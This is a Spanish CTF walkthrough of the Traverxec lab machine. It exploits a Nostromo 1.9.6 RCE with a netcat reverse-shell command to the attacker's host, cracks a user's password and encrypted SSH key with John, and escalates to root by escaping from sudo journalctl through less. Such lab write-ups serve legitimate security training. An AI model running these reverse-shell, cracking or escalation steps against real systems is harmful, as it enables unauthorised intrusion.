# Traverxec

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7NV7vrryFPY9WW2CIJ9D%2FTraverxec.png?alt=media&#x26;token=86eccf6e-f6f2-409c-8d81-6752e9b909c6" alt=""><figcaption></figcaption></figure>

Traverxec es un CTF de dificultad fácil que implicaba enumerar y explotar un servidor web , Nostromo. Aprovecharé una vulnerabilidad RCE para obtener un shell en el host. Solo pude encontrar un script Metasploit, pero era una solicitud HTTP simple que podía recrear con curl. Luego pasaré a los archivos privados de los usuarios en función de su uso de un directorio de inicio web en el servidor. Para obtener la raíz, explotaré sudo usado con journalctrl.

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 10.10.10.165

```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fjoqst97SANrY8guUGIE4%2Fimage.png?alt=media&#x26;token=16045cde-faea-479a-b7a9-41508dc4a595" alt=""><figcaption></figcaption></figure>

Hay dos servicios disponibles. Vamos ahora con el escaneo profundo.&#x20;

```
nmap -p22,80 -sV -vv 10.10.10.165
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fay2Nn5p0A3LCCjqP1ubZ%2Fimage.png?alt=media&#x26;token=0b29cdde-f5a0-4029-9b51-466b1cfbf6b6" alt=""><figcaption></figcaption></figure>

Dos servicios abiertos:

* Puerto 22 -> OpenSSH 7.9
* Puerto 80 -> Servidor Nostromo 1.9.6&#x20;

#### Enumeración web

Vamos a comnezar viendo el contenido del puerto 80. En esta ocasión, no hay nombre de dominio.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fov0zxfG92HDMz0oAqv0b%2Fimage.png?alt=media&#x26;token=ff684321-6880-446e-b2e6-1f9134cb15cf" alt=""><figcaption></figcaption></figure>

El sitio web es una plantilla de página web estática simple. Hay un formulario de contacto en la parte inferior de la página, pero no funciona. No encontramos ningún punto que pueda ser potencialmente vulnerable.&#x20;

### Explotando RCE en servidor Nostromo

Vamos a la base de datos Exploit-DB (searchsploit), vemos que hay un exploit que coincide con la versión exacta que vimos anteriormente en el escaneo de nmap.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgwDR1twIyOQrWqb8YjlH%2Fimage.png?alt=media&#x26;token=74223262-e6ed-47e7-a2fb-f4e5d16d8054" alt=""><figcaption></figcaption></figure>

Vemos un RCE para una versión de Nostromo que coincide con la de la máquina objetivo.&#x20;

Descargamos el exploit en nuestra máquina.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FEHNKFmIni4OvFMlwk3wk%2Fimage.png?alt=media&#x26;token=6bce0930-d642-47a7-9286-31e981aac6b6" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit. Al mismo debemos poner un oyente nc en el puerto 4444.

```
python 47837.py 10.10.10.165 80 "nc 10.10.16.11 4444 -e /bin/bash"
```

Nos dará error. Debemos eliminar la línea cve2019\_16278.py. Además, debemos ejecutarlo con Python2.

```
python2 47837.py 10.10.10.165 80 "nc 10.10.16.11 4444 -e /bin/bash"
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FqRlDmS3ZIf6wwmRZKac5%2Fimage.png?alt=media&#x26;token=88906082-aa06-4d09-adee-2a5062e5674d" alt=""><figcaption></figcaption></figure>

Generamos una terminal interactiva.

```
script /dev/null -c bash
```

Una vez, conseguida la terminal interactiva, vamos a subir un ejecutable de LinPEAS para hacer enumeración de la máquina objetivo. Para ello, creamos un servidor HTTP con Python.

```
python -m http.server 80
wget http://10.10.16.11/nombre_archivo
```

### Elevación de usuario www-data a usuario David

Ejecutamos LinPEAS. Después de un momento, encontramos unas credenciales que pueden ser interesantes.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVUcfJHUIIUwVO26f7Gj9%2Fimage.png?alt=media&#x26;token=e4feec5d-5904-4f1d-9440-a6883c71f0cb" alt=""><figcaption></figcaption></figure>

Vamos a copiar esta credencial a un archivo para poder descifrarla con John.

```
john password.txt --wordlist=diccionario
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPIkuROR2V3OfjYNbK4X9%2Fimage.png?alt=media&#x26;token=bc0a1cfa-fe33-4fae-8a7f-2632b3455435" alt=""><figcaption></figcaption></figure>

La credencial es david:Nowonly4me

Esta credencial no funciona vía ssh ni con el comando su. Sin embargo, si vemos al archivo de configuración donde obtuvimos el hash de la contraseña, encontramos en la parte inferior la ruta "public\_www".

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNQ6G1zja8yX2vPcG1m9E%2Fimage.png?alt=media&#x26;token=a798adde-ddb0-446a-9753-30be905e5e01" alt=""><figcaption></figcaption></figure>

Si buscamos información sobre Nostromo, vemos que si la configuración está habilitada dentro del archivo de configuración, los usuarios pueden tener su propio directorio personal accesible a través del servidor web. De acuerdo con la documentación, esto se hace a través del servidor web. Sabemos que david es un usuario válido, así que podemos probar su directorio.`/~`*`username`*

Además, *"Puede restringir el acceso dentro de los directorios de inicio a un solo subdirectorio definiéndolo a través de la opción homedirs\_public".* Dado que podemos ver el archivo de índice a través del navegador web, sabemos que tenemos acceso de lectura al directorio web de David. En lugar de aplicar fuerza bruta a los archivos a través del servidor web, podemos navegar hasta ese directorio *homedirs\_public* a través de nuestro shell inverso para buscar más archivos. Mirando el archivo `nhttpd.conf`, vemos que *homedirs\_public* está configurado en `public_www`, lo que significa que '/home/david/public\_www' debería ser legible para todo el mundo.

Buscamos el directorio '/home/david/public\_www'.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNGdfER0jj4NR5CizQNs2%2Fimage.png?alt=media&#x26;token=37f7c97c-d563-4c18-a164-8b70f62cbd93" alt=""><figcaption></figcaption></figure>

La carpeta `/home/david/public_www`contiene una carpeta `protected-file-area`protegida por `.htaccess`y que contiene un archivo llamado `backup-ssh-identity-files.tgz`. Lo copiamos a la `/tmp`carpeta y extraemos el contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBDiYKm6Fx0JEeYRmJ09P%2Fimage.png?alt=media&#x26;token=9fdc24f9-7fc8-4a6b-85af-d61be2611a91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FLjE9Ns3BDsK8scVnACdR%2Fimage.png?alt=media&#x26;token=b745ab05-b784-49a1-a88b-638bc3fcfcc0" alt=""><figcaption></figcaption></figure>

¡Y obtenemos la clave privada SSH del usuario `david`! Lo copiamos localmente y vemos que la clave está cifrada.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FHdiri4vhjdpxbLvjqQnw%2Fimage.png?alt=media&#x26;token=432964a8-51ab-4b18-a04b-a48b5d5f517a" alt=""><figcaption></figcaption></figure>

Creamos un archivo id\_rsa, lo convertimos a formato para poder usar John y descifrar la contraseña. Posteriormente, nos conectamos como usuario David a través de SSH.

```
ssh2john id_rsa > ssh.txt
john ssh.txt --wordlist=diccionario
chmod 600 id_rsa
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FC6J8QLHgen2dZv5tlQ0X%2Fimage.png?alt=media&#x26;token=9e52ee8a-83ac-4016-aacf-56b15c117c35" alt=""><figcaption><p>La contraseña buscada en "hunter"</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FG91431aoPpB9pnyedtgY%2Fimage.png?alt=media&#x26;token=62ecd477-692c-4693-83fa-b075d4190062" alt=""><figcaption></figcaption></figure>

Y ya podremos buscar la flag user.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMtdyBYwYO81U9HgvW1Qs%2Fimage.png?alt=media&#x26;token=e1738b99-0a35-4fb7-a168-edaa85f09348" alt=""><figcaption></figcaption></figure>

### Elevación de privilegios Root

Hay una carpeta `bin` en lel directorio de `david`. Contiene un archivo de banner y un archivo de logs del servidor Nostromo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7JOFh8c4Ye1pIt6GJ6kw%2Fimage.png?alt=media&#x26;token=29cd0a14-c9ac-41c7-a58f-2db250c21206" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9tcrVKVpkRGwsrTRtb67%2Fimage.png?alt=media&#x26;token=0a5d4a87-146b-4dce-a748-701941a11c48" alt=""><figcaption></figcaption></figure>

Algo interesante que podemos ver en la segunda imagen es que David puede ejecutar "sudo /usr/bin/journalctl -n5 -unostromo.service" sin contraseña. En GTFOBINS descubrimos que journalctl está usando less para mostrar la salida, por lo que podemos pasar de eso a root shell.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F918zi1WRWJmUUY1pkdeD%2Fimage.png?alt=media&#x26;token=98093102-ea7f-4be1-907e-513f71e3c005" alt=""><figcaption></figcaption></figure>

Mirando [gtfobins](https://gtfobins.github.io/gtfobins/journalctl/#sudo) hay una sección sobre cómo escalar privilegios usando journalctl. Sin embargo, en mi caso, esto no se activó automáticamente, así que tuve que activarlo manualmente. Para hacerlo, ejecute los siguientes comandos.<br>

```
stty rows 2
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNatvvdomfjKmw2HH99iq%2Fimage.png?alt=media&#x26;token=ef8bb549-e75b-44b3-ba5d-2866a5ddd26b" alt=""><figcaption></figcaption></figure>

Y ya tendríamos terminada el CTF Traverxec.&#x20;

{% embed url="<https://www.youtube.com/watch?t=6900s&v=XJZGHtfZOiI>" %}
